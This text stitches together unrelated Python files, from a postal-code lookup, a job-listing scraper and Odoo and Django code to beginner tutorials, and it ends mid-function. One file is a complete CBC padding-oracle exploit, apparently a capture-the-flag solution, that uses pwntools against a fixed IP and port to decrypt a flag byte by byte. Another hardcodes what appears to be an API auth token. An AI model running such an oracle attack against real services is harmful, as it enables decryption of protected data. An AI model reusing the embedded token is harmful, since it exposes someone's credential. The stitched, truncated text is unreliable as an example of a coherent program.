	# 2017-07-20     8.0
	# 2017-07-22     9.0
	# 2017-07-24     9.0	<- original
	# 2017-07-26     9.0
	# 2017-07-28    10.0

# reindex_output()


import requests

class BuscaEnereco:

    def __init__(self, cep):
        cep = str(cep)
        if self.valida_cep(cep):
            self.cep = cep
        else:
            raise ValueError("CEP Inválido")

    def __str__(self):
        return self.formata_cep()

    def valida_cep(self, cep):
        if len(cep) == 8:
            return True
        else:
            return False

    def formata_cep(self):
        return "{}-{}".format(self.cep[:5], self.cep[5:])

    def acesso_viacep(self):
        url = "https://viacep.com.br/ws/{}/json/".format(self.cep)
        r = requests.get(url)
        dados = r.json()
        return (
            dados['bairro'],
            dados['localidade'],
            dados['uf']
        )


import os
import os.path
import cv2 as cv
import numpy as np
import _pickle as pickle
import copyreg
import feature
import matcher as mtr
import tools
from timeit import default_timer as timer

scene_path = "./data/3/scene/"
scene_db = 'scene_features_db.pck'

def picture_tree():
    '''
    Each scene picture is overlapped with at lease one other picture.
    So there exists a single graph connecting all pictures, using number
    of matched features as edge.
    This method does:
    1. build a graph and its spanning tree using any picture as root.
    2. get a chain of pictures from root picture to current selected picture
    3. calculate camera motion from picture to picture
    4. show location of current picture relative to root picture.
    5. identify object(s) in current picture. (see assinment2a.py)
    '''

    # load scene data
    if not os.path.isfile(scene_db):
        feature.build_feature_db(scene_path,scene_db)
    data = None
    with open(scene_db,'rb') as fp:
        data = pickle.load(fp)

    # get list of images from root to image
    ma = mtr.Matcher(data)
    tree, plist = ma.spanning_tree()
    print(tree)
    np.savetxt('tree.out',tree)
    # test an arbitary image[i],0<=i<=8
    i=8
    ll=[i]
    while plist[i]!=i:
        i=plist[i]
        ll.insert(0,i)
    print (ll)

    if (len(ll)<2): #do nothing if only root is in list
        return

    K = tools.camera_calibration(2160)
    T_final=np.diagflat(np.ones(4))
    for i in range(len(ll)-1):
        R,t = ma.getCameraMotion(ll[i],ll[i+1],K)
        T = np.vstack((np.hstack((R,t)),[0,0,0,1.]))
        # print (T)
        T_final =  np.matmul(T,T_final)
        # H,kp1,kp2 = ma.getHomography(i,i+1)
        # print (H)
        # retval,R,T,N = cv.decomposeHomographyMat(H,K)
        # print (R,'\n',T,'\n',N)
        # kp1 and kp2 must be CV_32FC2
        # possible_solution = cv.filterHomographyDecompByVisibleRefpoints(R,N,kp1.reshape(-1,1,2),kp2.reshape(-1,1,2))
    print ('current camera pose:')
    print (T_final)

if __name__ == "__main__":
    np.set_printoptions(precision=3)
    # make KeyPoint to be pickle-able firstly
    copyreg.pickle(cv.KeyPoint().__class__, tools.pickle_keypoints)

    # rename all scene files so they are not ordered
    # tools.shuffle_scene_files(scene_path)

    picture_tree()
    cv.destroyAllWindows()


from math import sqrt, exp, log
from discrete_distr import pdf_product, nfoldconvolution, convolution

def exact_failure_prob_pke(noise, q, n, w, reclen):
  """Computes the probability of failure of PKE (exactly).

  Args:
    noise: The noise distribution as a dictionary.
    q: Modulus.
    n: Vector length.
    w: Number of extracted bits per coordinate.
    reclen: Number of bits to be extracted.

  Returns:
    The probability of failure.
  """

  def pr_rec_failure_pke(x):
    # Probability of failing to recover from an error of magnitude x.
    #        0% if -B/2 <= x < B/2
    #        100% if x >= B/2 or x < -B/2

    x = min(x, q - x)
    b = q / (2**w)
    if x >= b / 2:
      return 1.
    elif x < -b / 2:
      return 1.
    else:
      return 0

  noise_sqr = pdf_product(noise, noise, q)

  v = nfoldconvolution(2 * n, noise_sqr, q)

  v = convolution(v, noise, q)  # v = 2n * (noise^2) + noise

  exact_pr = {x: p * pr_rec_failure_pke(x) for (x, p) in v.iteritems()}

  r1r2 = (reclen + w - 1) / w

  failure_pr = r1r2 * sum(exact_pr.itervalues())

  return failure_pr

def heuristic_failure_prob_pke(q, n, sigma, w, reclen):
  """Computes a heuristic approximation to the probability of failure of PKE.

  Args:
    q: Modulus.
    n: Vector length.
    sigma: Standard deviation of the noise distribution.
    w: Number of extracted bits per coordinate.
    reclen: Number of bits to be extracted.

  Returns:
    A heuristic probability of failure.
  """
  std = sqrt(2 * n * sigma**4 + sigma**2)
  cuttail = q / (std * 2**(w + 1))
  r1r2 = (reclen + w - 1) / w
  return 2 * r1r2 * exp(-cuttail**2 / 2) / log(2)


import time
import re
import json
import requests
import fake_headers
from bs4 import BeautifulSoup

headers_gen = fake_headers.Headers(browser="firefox", os="win")

page = 0

item = 10

params = {
    'items_on_page':20,
    'page': page
}

all_vacancy =[]

vacancy_parsed = {}

while True:
    time.sleep(0.5)
    # response = requests.get(f"https://spb.hh.ru/search/vacancy?text=python&area=1&area=2&items_on_page={item}&page={page}", headers=headers_gen.generate())
    response = requests.get(
        f"https://spb.hh.ru/search/vacancy?text=python&area=1&area=2&", params=params,
        headers=headers_gen.generate())

    html_data = response.text
    hh_filter = BeautifulSoup(html_data, 'lxml')
    vacancy_list_tag = hh_filter.find('div', id="a11y-main-content")
    if vacancy_list_tag != None:
        page += 1
        vacancy_tags = vacancy_list_tag.find_all('div', class_="serp-item")
    else:
        break
    all_vacancy_on_page = []

    for vacancy_tag in vacancy_tags:
        time.sleep(0.33)
        header_tag = vacancy_tag.find('h3')
        a_tag = header_tag.find('a')
        company_tag = vacancy_tag.find('div', class_="vacancy-serp-item__meta-info-company")
        city_tag = vacancy_tag.find('div', attrs = {'data-qa': 'vacancy-serp__vacancy-address'})
        salary_tag = vacancy_tag.find('span', attrs={"data-qa": "vacancy-serp__vacancy-compensation"})

        header_text = header_tag.text
        link = a_tag['href']
        company_text = company_tag.text
        city_text = city_tag.text.split()[0].strip(',')
        id_vacancy = re.search('\d+', link).group()

        description_page = requests.get(link, headers=headers_gen.generate())
        description = BeautifulSoup(description_page.text, 'lxml')
        description_body_tag = description.find('div', class_="vacancy-section")
        description_body_text = description_body_tag.text

        if salary_tag != None:
            salary_text = salary_tag.text
        else:
            salary_text = 'Зарплата не указана'

        all_vacancy_on_page.append(id_vacancy)

        search_django = re.findall('django', description_body_text, re.I)
        search_flask = re.findall('flask', description_body_text, re.I)
        if len(search_django) > 0:
            vacancy_parsed.setdefault(id_vacancy, {
                'vacancy_name': header_text,
                'link': link,
                'salary': salary_text,
                'company': company_text,
                'city': city_text,
            })

    all_vacancy.extend((all_vacancy_on_page))
    print(f'страница {page}')
    print(
        f'В цикле обработано {len(all_vacancy_on_page)} вакансий. Всего подошло по условиям вакансий {len(vacancy_parsed)}')

with open('../data/vacancy_parsed.json', 'w', encoding='utf-8') as file:
    json.dump(vacancy_parsed, file, indent=4, ensure_ascii=False)

print()
print()
print()
print(f'всего обработано {len(all_vacancy)} вакансий из них подошло по условиям {len(vacancy_parsed)} вакансий')


#Say hello to the world of python:
msg = "Hello World of Python"
print(msg)

################################################################################################

#Having fun with python:)
import turtle

#create a square
key = turtle.Turtle()
key.speed(1)

def square():
    key.forward(100)
    key.right(90)
    key.forward(100)
    key.right(90)
    key.forward(100)
    key.right(90)
    key.forward(100)
    key.right(90)

square()

##############################################################################################

#running python program/file/script in terminal:
# for windows, move to directory/folder where file is present and run command:
# python <file-name>
# For example: python a_hello.py
# Alternatively, we can click on the play/run button on top right corner in VSCode.

###############################################################################################

# Datatypes in python:
# ====================
# Text Type:	    str
# Numeric Types:	int, float, complex
# Sequence Types:	list, tuple, range
# Mapping Type:	    dict
# Set Types:	    set, frozenset
# Boolean Type:	    bool
# Binary Types:	    bytes, bytearray, memoryview

# Operators in python:
# ====================
#
# Arithmetic:
# -----------
# +	    Addition	    x + y
# -	    Subtraction	    x - y
# *	    Multiplication	x * y
# /	    Division	    x / y
# %	    Modulus	        x % y
# **	Exponentiation	x ** y
# //	Floor division	x // y
#
# Logical:
# --------
# and 	    Returns True if both statements are true	               Ex: x < 5 and  x < 10
# or	    Returns True if one of the statements is true	           Ex: x < 5 or x < 4
# not	    Reverse the result, returns False if the result is true	   Ex: not(x < 5 and x < 10)


from django.conf.urls import url
from django.contrib import admin
from main import views

urlpatterns = [
  url(r'^admin/', admin.site.urls),
  url(r'^$', views.home, name='home'),
  url(r'^aboutbz.html', views.aboutbz, name='aboutbz'),
  url(r'^feedback.html', views.feedback, name='feedback'),
  url(r'^register.html', views.RegisterFormView.as_view()),
  url(r'^login.html', views.LoginFormView.as_view()),
  url(r'^logout',views.LogoutView.as_view(), name="logout_user"),
  url(r'^images/(?P<path>.*)$', views.images, name='images'),
  url(r'^merch.html', views.merch, name='merch')
]


from argparse import ArgumentParser

import pandas as pd
import torch
from torchinfo import summary
import tqdm
from pathlib import Path
from glasses.models import AutoModel, AutoTransform

# from torchvision.models import *

parser = ArgumentParser()
parser.add_argument("-o", default="./table.md", type=Path)

args = parser.parse_args()

device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"device={device}")
print(f"out={args.o}")

def row(item):
    key, model_factory = item
    model = model_factory().eval()
    with torch.no_grad():
        tr = AutoTransform.from_name(key)
        input_size = tr.transforms[0].size
        channels = 1 if key == "unet" else 3
        stats = summary(model.to(device), (1, channels, input_size, input_size))

        total_params = stats.total_params
        param_size = stats.to_bytes(
            stats.total_input + stats.total_output + stats.total_params
        )
        del model

    return {
        "name": key,
        "Parameters": f"{total_params:,}",
        "Size (MB)": f"{param_size:.2f}",
        # 'Total Size (MB)': int(total_size.item())
    }

df = pd.DataFrame()
if Path("./table.csv").exists():
    df = pd.read_csv("./table.csv", index_col=0)
    df = df.sort_values(by="name")

res = []
bar = tqdm.tqdm(AutoModel.zoo.items())
for item in bar:
    if item[0] not in df.index.values:
        bar.set_description(item[0])
        try:
            out = row(item)
            res.append(out)
        except RuntimeError as e:
            print(e)
            res.append(
                {
                    "name": item[0],
                    "Parameters": "ðŸ˜¥",
                    "Size (MB)": "ðŸ˜¥",
                }
            )
            continue
if len(res) > 0:
    new_df = pd.DataFrame.from_records(res)
    new_df = new_df.set_index("name", drop=True)

    df = pd.concat([df, new_df])
df = df.sort_values(by="name")
df.to_csv("./table.csv")

mk = df.to_markdown()

with open(args.o, "w") as f:
    f.write(mk)


import psycopg2

TABLE_NAMES = ['customer', 'lineitem', 'nation', 'orders',
               'part', 'partsupp', 'region', 'supplier']

conn_string1= ""
conn_string2 = ""

def main():
    for table in TABLE_NAMES:
        with psycopg2.connect(conn_string1) as conn, conn.cursor() as cursor:
            q = f"COPY {table} TO STDOUT WITH DELIMITER ',' CSV HEADER;"
            with open(f'{table}_resultsfile.csv', 'w') as f:
                cursor.copy_expert(q, f)

        with psycopg2.connect(conn_string2) as conn, conn.cursor() as cursor:
            q = f"COPY {table} from STDIN WITH DELIMITER ',' CSV HEADER;"
            with open(f'{table}_resultsfile.csv', 'r') as f:
                cursor.copy_expert(q, f)

if __name__ == '__main__':
    main()


import itertools
from odoo import api, models, _
import logging
_logger = logging.getLogger(__name__)
from datetime import datetime

class MCRReport(models.AbstractModel):
    _name = 'report.certificate_planer.mcr_report_view'
    _description = 'Certificate Planner MCR Report'

    def _get_survey_data(self, survey_result):
        survey_data = []
        input_ids = survey_result.user_input_line_ids
        for survey_input in survey_result.survey_id.question_and_page_ids:

            entry = {
                'type': 'question' if not survey_input.is_page else 'page',
                'text': survey_input.title,
                'options': '',
                'answer': '',
                'comment': '',
            }

            if not survey_input.is_page:

                # Process question options
                if survey_input.question_type in ['simple_choice', 'multiple_choice']:
                    entry['options'] = [ {'id': suggestion.id, 'value': suggestion.value } for suggestion in survey_input.suggested_answer_ids]

                # Get answers
                answers = input_ids.filtered(lambda i: i.question_id == survey_input)

                # If multiple answers exist, then there is a comment
                if len(answers) > 1:
                    answer = answers.filtered(lambda a: a.answer_type in ['char_box', 'text_box'])[:1]
                    if answer:
                        entry['comment'] = answer.value_char_box or answer.value_text_box

                # Process answer of type sugestion
                answer = answers.filtered(lambda a: a.answer_type == 'suggestion')[:1]
                if answer:
                    entry['answer'] = answer.suggested_answer_id.id

            survey_data.append(entry)

        return survey_data

    def _get_subparts(self, part_ids, change_id, level=0, subparts=[]):

        # Iterate through list of parts
        for part in part_ids:

            documents = part.document_ids.filtered(lambda r: r.type_id.class_id.mcr_design)
            document_revisions = documents.revision_ids.filtered(lambda r: r.change_id == change_id)

            # Append part to parts list
            if level == 0 or document_revisions:
                subparts.append({
                    'marker': '-'*level,
                    'level': level,
                    'name': part.name,
                    'designation': part.designation,
                    'document_revisions': document_revisions
                })

            # Append subparts
            subpart_ids = part.bom_id.part_ids.certificate_planer_part_id
            self._get_subparts(subpart_ids, change_id, level+1, subparts)

        return subparts

    def _get_design_data(self, change_id):
        subparts = self._get_subparts(part_ids=change_id.part_ids, change_id=change_id, level=0, subparts=[])

        return subparts

    def _get_planning_data(self, change_id):
        revisions = change_id.revision_ids

        # Filter and sort documents by name, type_id.sequence, class_id.sequence
        revisions = revisions.filtered(lambda r: r.document_id.type_id.class_id.mcr_planning)
        revisions = sorted(revisions, key=lambda r: r.document_id.name)
        revisions = sorted(revisions, key=lambda r: r.document_id.type_id.sequence)
        revisions = sorted(revisions, key=lambda r: r.document_id.type_id.class_id.sequence)

        planning_data = []
        for revision in revisions:

            planning_data.append({
                'name': revision.document_id.name,
                'title': revision.document_id.title,
                'index': revision.index_id.name,
                'reason': revision.reason,
            })
        return planning_data

    def _get_revisions_data(self, doc):
        revision_data = []
        for revision in doc.revision_ids:
            revision_data.append(revision)
            if revision == doc.current_revision_id:
                break
        return revision_data

    def _get_report_values(self, docids, data=None):

        report_name = 'certificate_planer.mcr_report_view'

        # Get the report and its context
        report = self.env['ir.actions.report']._get_report_from_name(report_name)

        # Get the records selected for this report
        docs = self.env[report.model].browse(docids)

        # Get first document
        doc = docs[0]

        # Get the linked change
        change_id = docs.current_revision_id.change_id

        # Update the print date
        if data['report_type'] == 'pdf' or not doc.print_date:
            doc.sudo().print_date = datetime.now()

        return {
            'docids': docids,
            'docs': docs,
            'print_date': docs.print_date,
            'revisions_data': self._get_revisions_data(doc),
            'planning_data': self._get_planning_data(change_id),
            'design_data': self._get_design_data(change_id),
            'dcc_survey_data': self._get_survey_data(change_id.dcc_survey_result_id),
            'occ_survey_data': self._get_survey_data(change_id.occ_survey_result_id),
            'conclusion_survey_data': self._get_survey_data(change_id.conclusion_survey_result_id),
        }


#!/usr/bin/env python3
from pwn import *
import base64

BLOCK_SIZE = 16
IP   = "141.85.224.119"
PORT = "1337"

def check_cbcpad(ct, c0): # check is the ciphertext is valid
    session.recv()
    session.sendline("2")
    session.recv()

    session.sendline(base64.b64encode(c0 + ct).decode('utf-8'))
    r = session.recvline().strip()

    if 'Ack.' in str(r): # check the connectivity to the server
        return True
    return False

session = remote(IP, PORT)

print("-Getting the encrypted flag-")
session.recv() # garbage stuff
session.sendline("1") # get flag encoded in base64
session.recvuntil("The message is: ") # more garbage stuff

coded_flag = session.recvline().strip() # get the encrypted flag
ct = base64.b64decode(coded_flag)
print(coded_flag) # very important

c0 = bytearray(ct[:BLOCK_SIZE]) # get the initialization vector from the ciphertext
my_ct = bytearray(ct[BLOCK_SIZE:]) # get the rest of the ciphertext
plaintext = b''

print("IV: " + bytes.hex(ct[:BLOCK_SIZE]) + " Flag: " + bytes.hex(ct[BLOCK_SIZE:]))

print("--Decrypting the flag--")
index = 0
while index < len(my_ct) // BLOCK_SIZE:
    C2 = my_ct[BLOCK_SIZE * index : BLOCK_SIZE * (index + 1)]
    if index != 0:
        C1 = my_ct[BLOCK_SIZE * (index - 1) : BLOCK_SIZE * index]
    else:
        C1 = bytearray(c0)

    Cp1 = bytearray([0] * BLOCK_SIZE)
    decrypted_block = b''
    counter = 1
    while counter <= BLOCK_SIZE:
        print(counter)
        item = 0
        while item < 256:
            Cp1[BLOCK_SIZE - counter] = item
            if check_cbcpad(C2, Cp1):
                I2 = item ^ counter
                msg_chr = C1[BLOCK_SIZE - counter] ^ I2
                decrypted_block += bytes(chr(msg_chr), 'utf-8')
                i = 0
                while i < counter:
                    Cp1[BLOCK_SIZE - counter + i] = (counter + 1) ^ Cp1[BLOCK_SIZE - counter + i] ^ counter
                    i += 1
                break
            item += 1
        counter += 1

    decrypted_block = decrypted_block[::-1]
    print(decrypted_block)

    plaintext += decrypted_block
    index += 1

print("The decrpyted flag is: ")
print(plaintext)


from matplotlib.pyplot import (plot, show)
from numpy import (append, array)
from quandl import get
from sklearn.linear_model import LinearRegression

if __name__ == "__main__":
    csv_file = list(
        get("NSE/KOTAKNIFTY",
            authtoken="qAsk6MJV-VXWMqoWDJQk",
            returns='numpy'))

    x_data = []
    y_data = []

    for i in range(len(csv_file)):
        x_data.append(csv_file[i][0])
        y_data.append(csv_file[i][7])

    min_year = min(x_data).year

    x_data_2 = array([])

    for i in x_data:
        x_data_2 = append(x_data_2, [i.month + (12 * (i.year - min_year))])

    x_data_2.shape = (len(x_data_2), 1)

    regr = LinearRegression()
    regr.fit(x_data_2, y_data)

    plot(x_data_2, y_data, marker='o')
    plot(x_data_2, regr.predict(x_data_2), marker='o')
    show()


import matplotlib.colors as mcolors

def make_colormap(seq):
    """
    Parameters
    ----------
    seq :
        a sequence of floats and RGB-tuples. The floats should be increasing
        and in the interval (0,1).

    Returns
    -------
    LinearSegmentedColormap
    """
    seq = [(None,) * 3, 0.0] + list(seq) + [1.0, (None,) * 3]
    cdict = {"red": [], "green": [], "blue": []}
    for i, item in enumerate(seq):
        if isinstance(item, float):
            r1, g1, b1 = seq[i - 1]
            r2, g2, b2 = seq[i + 1]
            cdict["red"].append([item, r1, r2])
            cdict["green"].append([item, g1, g2])
            cdict["blue"].append([item, b1, b2])
    return mcolors.LinearSegmentedColormap("CustomMap", cdict)

def get_colormap(objname):
    """
    Custom colormaps for making pretty pictures for Twilight Zone website

    Parameters
    ----------
    objname : str, required. name of target. currently supported:
        io, neptune, titan, uranus
    """
    if objname.lower() == "io":
        objmap = "gist_heat"
    elif objname.lower() == "neptune":
        c = mcolors.ColorConverter().to_rgb
        rvb = make_colormap(
            [c("black"), c("blue"), 0.33, c("blue"), c("white"), 0.66, c("white")]
        )
        objmap = rvb
    elif objname.lower() == "titan":
        c = mcolors.ColorConverter().to_rgb
        rvb = make_colormap(
            [
                c("black"),
                c("goldenrod"),
                0.6,
                c("goldenrod"),
                c("white"),
                0.95,
                c("white"),
            ]
        )
        objmap = rvb
    elif objname.lower() == "uranus":
        cut1 = 0.33
        cut2 = 1.0
        c = mcolors.ColorConverter().to_rgb
        rvb = make_colormap(
            [c("black"), c("purple"), cut1, c("purple"), c("white"), cut2, c("white")]
        )
        objmap = rvb
    return objmap


import docx
import datetime

template_file = './input/letter-template.docx'
save_file = './output/letter-kim.docx'
now = datetime.datetime.now()

# 바꿔 넣을 내용 작성 --- (1)
new_data = {
  '★★★ 요청문': '송금 확인 요청문',
  '[[회사명]]': 'JY전자정밀',
  '[[수신인]]': '김진우',
  '[[제품명]]': 'M-123',
  '[[발행일]]': now.strftime('%Y년%m월%d일')
}

# 워드 파일 열기 --- (2)
doc = docx.Document(template_file)

# 내용 바꿔 쓰기 --- (3)
for p in doc.paragraphs:
    # 텍스트 교체하기 --- (4)
    for k,v in new_data.items():
        if p.text.find(k) >= 0:
            p.text = p.text.replace(k, v)

# 워드 파일 저장 --- (5)
doc.save(save_file)


"""
Created on Sep 18, 2018

@author: rizac
"""

import pytest
from urllib.request import Request

from stream2segment.download.url import read_async, urlread

def no_connection():
    from stream2segment.download.url import HTTPError
    try:
        data, err, code = urlread("https://geofon.gfz-potsdam.de/")
        return err is None or isinstance(err, HTTPError)
    except Exception:  # noqa
        return True

@pytest.mark.skipif(no_connection(),
                    reason="no internet connection")
def test_request():
    '''This tests `read_async` in case of a REAL connection. Ignored if the computer
    is not online'''

    post_data_str = """* * * HH?,HL?,HN? 2017-01-01T00:00:00 2017-06-01T00:00:00
format=text
level=channel"""
    urls = ["http://geofon.gfz-potsdam.de/fdsnws/station/1/query",
            "http://geofon.gfz-potsdam.de/fdsnws/station/1/query2"]
    ids = [1]
    iterable = ((id_, Request(url,
                              data=('format=text\nlevel=channel\n'+post_data_str).encode('utf8')))
                for url, id_ in zip(urls, ids))

    for obj, url, result, exc, code in read_async(iterable, urlkey=lambda obj: obj[-1],
                                                       blocksize=1048576,
                                                       max_workers=None,
                                                       decode='utf8', timeout=120):

        pass
#     r = Request("http://geofon.gfz-potsdam.de/fdsnws/station/1/query",
#                 data="""* * * HH?,HL?,HN? 2017-01-01T00:00:00 2017-06-01T00:00:00
# format=text
# level=channel""".encode('utf8'))
#
#     urlread(r)
#     h = 9

from stream2segment.cli import cli

@pytest.mark.skipif(no_connection(),
                    reason="no internet connection")
def test_no_eventtype_column_db(clirunner, pytestdir, data):
    result = clirunner.invoke(cli, ['download',
                                    '-c', data.path('db.no_event_type_column.yaml'),
                                    ])
    assert ("No row saved to table 'events' (error: table events "
            "has no column named event_type)") in result.output
    assert result.exit_code != 0


import parsing
import pandas as pd
import os.path
import numpy as np
import matplotlib.pyplot as plt
import csv
def to_DataFrame(filename_json,output_csv):

	f = parsing.csv_writer(filename_json)
	path1 = os.path.normpath(os.path.join(os.getcwd(),f))
	#print(path1)
	df = pd.DataFrame()
	df = pd.read_csv(path1)
	#print(df.shape)
	df_new = pd.DataFrame()
	df_new = pd.DataFrame(columns =['LinkID', 'RoadName', 'RoadCategory','SpeedBand', 'MinimumSpeed', 'MaximumSpeed','Location'])
	headers = ['LinkID', 'RoadName', 'RoadCategory','SpeedBand', 'MinimumSpeed', 'MaximumSpeed','Location']
	pieces = []
	pieces = [df.ix[:,i*7:(i+1)*7] for i in range(int(df.shape[1]/7))]
	for piece in pieces:
		piece.columns =  ['LinkID', 'RoadName', 'RoadCategory','SpeedBand', 'MinimumSpeed', 'MaximumSpeed','Location']

	#r = pd.concat(pieces, axis =0).drop_duplicates().reset_index(drop=True)
	e = pd.DataFrame()
	e = pd.concat(pieces, ignore_index = True).reset_index(drop = True)
	e['mu'] = (e['MaximumSpeed']+ e['MinimumSpeed'])/2
	e['mu'].fillna(80, inplace = True)
	v = []
	i = 0
	#e['RandomSpeed']
	for i in range(e.shape[0]):
	 	v.extend(np.random.normal(e['mu'][i],1,1))
	e['RandomSpeed'] = v
	#e['RandomSpeed'] = e['RandomSpeed'].str.get(0)
	e1 = e.sort(['LinkID'], ascending = 1)
	#print(e1.head(10))
	#print(os.getcwd())
	#plt.plot(x = e['LinkID'], y = e['RandomSpeed'], kind = 'bar')

	output = pd.DataFrame({
				'LinkID' : e['LinkID'],
				'RoadName' : e['RoadName'],
				'Speed': e['RandomSpeed']
		})
	output.to_csv(output_csv , index = True)

if __name__ == "__main__"	:
	to_DataFrame('/Users/radhikanikam/Downloads/Traffic_Data/Day3/traffic_speedbands_08:51r.json', '/Users/radhikanikam/Downloads/Traffic_Data/Day3/traffic_speedbands_08:51r.csv')


import gui, offline_navigation, online_navigation
from utilities import *
import pickle as pkl

def save_grid_cells(grid_cells):
	grid_cell_file = open('grid_cells', 'ab')
	pkl.dump(grid_cells, grid_cell_file)
	grid_cell_file.close()

def save_environment(environment):
	map_file = open('environment', 'ab')
	pkl.dump(environment, map_file)
	map_file.close()

def save_all_sensory_maps(all_sensory_maps):
	all_sensory_maps_file = open('all_sensory_maps', 'ab')
	pkl.dump(all_sensory_maps, all_sensory_maps_file)
	all_sensory_maps_file.close()

def save_surprise_map(surprise_map):
	surprise_map_file = open('surprise_map', 'ab')
	pkl.dump(surprise_map, surprise_map_file)
	surprise_map_file.close()

def save_distance_matrix(distance_matrix):
	distance_matrix_file = open('distance_matrix', 'ab')
	pkl.dump(distance_matrix, distance_matrix_file)
	distance_matrix_file.close()

def save_isomap(isomap):
	isomap_file = open('isomap', 'ab')
	pkl.dump(isomap, isomap_file)
	isomap_file.close()

def retrieve_grid_cells():
	try:
		grid_cell_file = open('grid_cells','rb')
		grid_cells = pkl.load(grid_cell_file)
		grid_cell_file.close()
		return grid_cells
	except:
		grid_cells = online_navigation.create_all_grid_cells()
		save_grid_cells(grid_cells)
		return grid_cells

def retrieve_environment():
	try:
		map_file = open('environment','rb')
		all_data = pkl.load(map_file)
		environment = all_data['environment']
		[x_pos, y_pos] = all_data["pos"]
		map_file.close()
		return environment, x_pos, y_pos
	except:
		environment, x_pos, y_pos = gui.draw_map()
		save_environment({"environment": environment, "pos": [x_pos, y_pos]})
		return environment, x_pos, y_pos

def retrieve_all_sensory_maps(environment):
	try:
		all_sensory_maps_file = open('all_sensory_maps','rb')
		all_sensory_maps = pkl.load(all_sensory_maps_file)
		all_sensory_maps_file.close()
		return all_sensory_maps
	except:
		print("We will now create the sensory map file. Please stand by.")
		all_sensory_maps = offline_navigation.generate_sensory_map_for_all_points(environment)
		save_all_sensory_maps(all_sensory_maps)
		return all_sensory_maps

def retrieve_surprise_map(all_sensory_maps):
	try:
		surprise_map_file = open('surprise_map','rb')
		surprise_map = pkl.load(surprise_map_file)
		surprise_map_file.close()
		return surprise_map
	except:
		print("We will now create the surprise map file. Please stand by.")
		surprise_map = offline_navigation.generate_surprise_map(all_sensory_maps)
		save_surprise_map(surprise_map)
		return surprise_map

def retrieve_isomap(distance_matrix):
	try:
		isomap_file = open('isomap','rb')
		isomap = pkl.load(isomap_file)
		isomap_file.close()
		return isomap["isomap"], isomap["labels"]
	except:
		print("We will now create the isomap file. Please stand by.")
		isomap, labels = offline_navigation.make_isomap(distance_matrix)
		save_isomap({"isomap": isomap, "labels": labels})
		return isomap, labels

def retrieve_distance_matrix(surprise_map):
	try:
		distance_matrix_file = open('distance_matrix','rb')
		distance_matrix = pkl.load(distance_matrix_file)
		distance_matrix_file.close()
		return distance_matrix
	except:
		distance_matrix = offline_navigation.make_distance_matrix(surprise_map)
		return distance_matrix


import QpixTxRxTester
import numpy as np
import time

def testFifo(qpt):
    """
    helper function used for testing dual port ram on QpixAsicFifoDummyTop
    """
    def read(x, addr):
        x = (x << 8) & 0xffff_ffff_ffff_ffff
        addr = addr & 0xff
        x = x + addr

        # highest bit must be on
        high = (x >> 32 & 0x7fff_ffff) or 0x8000_0000
        time.sleep(0.05)
        qpt.sendWord(x & 0xffff_ffff, high)

        # get the data back
        time.sleep(0.05)
        low, high = qpt.getWord()
        addr = low & 0xff
        x = low & 0xffff_ff00
        x = x >> 8
        x += high << 32
        return addr, x

    def write(x, addr):
        x = (x << 8) & 0xffff_ffff_ffff_ffff
        addr = addr & 0xff
        x = x + addr
        low = x & 0xffff_ffff
        # highest bit must be off to prevent write
        high = (x & 0x7fff_ffff_0000_0000) >> 32
        time.sleep(0.05)
        qpt.sendWord(low, high)

    # data_words = [1,2,3,4,5, 3<<6, 7<<7]
    # addrs = [1<<1, 1<<2, 1<<3, 1<<4, 1<<5, 1<<6, 1<<7]

    data_words = [np.random.randint(1<<32) for i in range(10)]
    addrs = [i for i in range(10)]

    # write all of the data
    for data, addr in zip(data_words, addrs):
        input("write?")
        write(data, addr)

    # read all of the data
    time.sleep(0.1)
    for data, addr in zip(data_words, addrs):
        input("read?")
        a, d = read(data, addr)
        if a == addr and d == data:
            print(f"0x{addr:02x}.. ", end="")
        else:
            print(f"found INCORRECT pair addr: 0x{addr:02x}/0x{a:02x} - 0x{data:08x}/0x{d:08x}")

def issueTrigger():
    while True:
        resp = input("press enter to send trigger? ")
        if resp == "q":
            break
        t.sendTrg()
        resp = input("trigger sent.. continue with test? q to exit ")
        if resp == "q":
            break

t = QpixTxRxTester.QpixTxRxTester()
testFifo(t)

# # perform echo word test
# # perform test, send 64 bits provided in arg, and check it against received word
# t.doTest(0xaaaa,0xaaaa) # first arg - MSB 32 bits, second arg - LSB 32 bits
# # t.doTest(0xffffffff,0xffffffff)
# issueTrigger()


import pygame

from pygame_gui import UIManager

from player import Player
from platform_create import PlatformCreate

class GameState:
    def __init__(self, window_surface: pygame.Surface, ui_manager: UIManager):
        # initialises attributes
        self.ui_manager = ui_manager
        self.window_surface = window_surface

        self.height = window_surface.get_height()
        self.width = window_surface.get_width()

        self.is_time_to_transition = False
        self.transition_target = "None"

        self.background_surface = None

        self.all_sprites = None
        self.platforms = None

        self.player = None

    def start(self):
        # Setup everything we need to run the state.

        # Resets transition variables
        self.is_time_to_transition = False
        self.transition_target = "None"

        # Creates a grey background on the screen
        self.background_surface = pygame.Surface(self.window_surface.get_size())
        self.background_surface.convert(self.window_surface)
        self.background_surface.fill(pygame.Color('#000000'))

        # create sprite groups
        self.all_sprites = pygame.sprite.Group()
        self.platforms = pygame.sprite.Group()

        # create player
        player_position = (self.window_surface.get_rect().centerx,
                           self.window_surface.get_rect().centery)
        #ADDITION self to this
        self.player = Player(self, pos=player_position,
                             all_sprites_group=self.all_sprites)

        # creates platforms
        p1 = PlatformCreate(0, self.height - 40, self.width, 40, self.all_sprites)
        self.all_sprites.add(p1)
        self.platforms.add(p1)

        #ADDITION
        p2 = PlatformCreate(self.width / 2 - 50, self.height * 3 / 4, 100, 20, self.all_sprites)
        self.all_sprites.add(p2)
        self.platforms.add(p2)

    def stop(self):
        # Cleanup everything we don't need once the state is no longer
        # running.
        self.background_surface = None

        # clean up player
        if self.player is not None:
            self.player.kill()
            self.player = None

        # double check the main sprite group is clear
        if self.all_sprites is not None:
            self.all_sprites.empty()
            self.all_sprites = None

        if self.platforms is not None:
            self.platforms.empty()
            self.platforms = None

    def time_to_transition(self) -> bool:
        # Check if it is time to leave this state and transition to
        # another.
        # Returns True if it is time to stop the state, False if it is
        # not.
        return self.is_time_to_transition

    def get_transition_target(self) -> str:
        # Get the ID string of the new state to transition to.
        # Returns string of state to transition to.
        return self.transition_target

    def update(self, time_delta: float):
        # Update the state once per loop including the amount of time
        # that has passed since the previous loop of the App.
        self.all_sprites.update(time_delta)
        self.ui_manager.update(time_delta=time_delta)

        # Collision detection
        hits = pygame.sprite.spritecollide(self.player, self.platforms, False)
        if hits:
            self.player.pos.y = hits[0].rect.top
            self.player.vel.y = 0

    def process_event(self, event: pygame.event.Event):
